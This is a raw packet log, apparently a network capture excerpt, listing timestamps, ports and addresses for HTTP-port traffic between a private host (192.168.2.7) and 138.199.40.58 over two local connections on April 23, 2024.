Apr 23, 2024 08:39:58.830903053 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.830910921 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.830914021 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.830925941 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.830933094 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.830936909 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.830949068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.830957890 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.830957890 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.830960035 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.830971956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.830986023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.830991983 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.830993891 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.830997944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.831010103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.831022024 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.831029892 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.831029892 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.831063986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.831077099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.831085920 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.831088066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.831106901 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.831149101 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.831203938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.831239939 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.831279039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.831299067 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.831305027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.831330061 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.831352949 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.831363916 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.831419945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.831433058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.831439972 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.831470013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.831470013 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.831470013 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.831512928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.831561089 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.831568956 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.831568956 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.831747055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.831748962 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.831762075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.831830978 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.831851006 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.831916094 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.831935883 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.831954002 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.831973076 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.831994057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.831995010 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.832057953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.832107067 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.832120895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.832146883 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.832251072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.832258940 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.832313061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.832321882 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.832353115 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.832422018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.832536936 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.832581043 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.832582951 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.832591057 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.832603931 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.832628012 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.832648039 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.832667112 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.832685947 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.832735062 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.832756996 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.832803965 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.832818031 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.832869053 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.832869053 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.832875967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.832911015 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.832933903 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.832967043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.832981110 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.832988024 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.833022118 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.833022118 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.833065987 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.833080053 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.833112955 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.833118916 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.833118916 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.833163023 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.833200932 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.833214045 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.833220959 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.833250046 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.833266020 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.833266020 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.833287954 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.833306074 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.833362103 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.833384037 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.833405972 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.833425999 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.833463907 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.833473921 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.833498001 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.833559036 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.833566904 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.833611965 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.833647966 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.833661079 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.833671093 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.833708048 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.833708048 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.833743095 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.833756924 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.833803892 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.833803892 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.833810091 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.833863974 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.833885908 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.833920956 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.833965063 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.834083080 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.834161043 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.834182024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.834248066 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.834300041 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.834321022 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.834414005 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.834465027 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.834485054 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.834508896 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.834563971 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.834625959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.834662914 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.834669113 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.834667921 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.834676027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.834688902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.834723949 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.834723949 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.834803104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.834840059 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.834861040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.834873915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.834952116 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.834965944 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.834971905 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.835012913 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.835015059 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.835083961 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.835097075 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.835131884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.835140944 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.835140944 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.835251093 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.835275888 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.835318089 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.835546017 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.835621119 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.835632086 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.835644007 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.835656881 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.835692883 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.835706949 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.835706949 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.835776091 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.835838079 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.835850954 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.835927963 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.835941076 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.835947990 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.835973024 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.836003065 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.836138010 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.836152077 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.836193085 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.836193085 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.836225986 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.836287975 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.836313009 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.836313963 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.836333990 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.836379051 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.836384058 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.836453915 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.836488962 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.836502075 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.836508989 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.836551905 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.836551905 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.836641073 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.836725950 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.836731911 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.836765051 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.836779118 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.836791039 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.836811066 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.836819887 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.836828947 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.836847067 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.836852074 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.836863041 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.836878061 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.836894989 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.836915970 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.836966038 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.836978912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.836985111 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.837012053 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.837028980 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.837028980 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.837050915 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.837057114 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.837117910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.837131023 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.837142944 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.837162018 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.837174892 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.837187052 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.837198019 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.837209940 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.837223053 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.837229967 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.837272882 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.837274075 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.837277889 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.837302923 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.837374926 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.837395906 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.837418079 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.837430954 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.837441921 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.837479115 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.837479115 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.837501049 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.837522984 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.837544918 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.837563038 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.837585926 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.837593079 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.837779999 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.837898970 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.837903976 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.837925911 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.837944984 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.837965965 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.837979078 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.837992907 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.838016987 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.838016987 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.838048935 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.838062048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.838084936 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.838105917 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.838135004 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.838171005 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.838290930 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.838310003 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.838327885 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.838336945 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.838393927 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.838397980 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.838583946 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.838655949 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.838989019 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.839003086 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.839047909 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.839047909 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.839137077 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.839149952 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.839195967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.839215040 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.839246988 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.839268923 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.839289904 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.839309931 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.839313030 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.839335918 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.839355946 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.839375973 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.839379072 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.839399099 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.839441061 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.839462996 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.839478970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.839498997 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.839529991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.839554071 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.839581013 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.839632988 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.839687109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.839737892 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.839749098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.839751005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.839787960 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.839787960 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.839809895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.839823961 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.839860916 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.839865923 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.839868069 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.839880943 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.839955091 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.839960098 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.839972019 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.840014935 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.840034962 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.840044975 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.840059042 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.840070009 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.840091944 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.840112925 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.840114117 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.840128899 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.840132952 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.840142012 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.840183973 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.840195894 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.840202093 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.840207100 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.840224981 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.840253115 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.840276957 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.840425968 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.840447903 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.840462923 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.840512037 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.840524912 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.840615988 CEST	80	49704	138.199.40.58	192.168.2.7
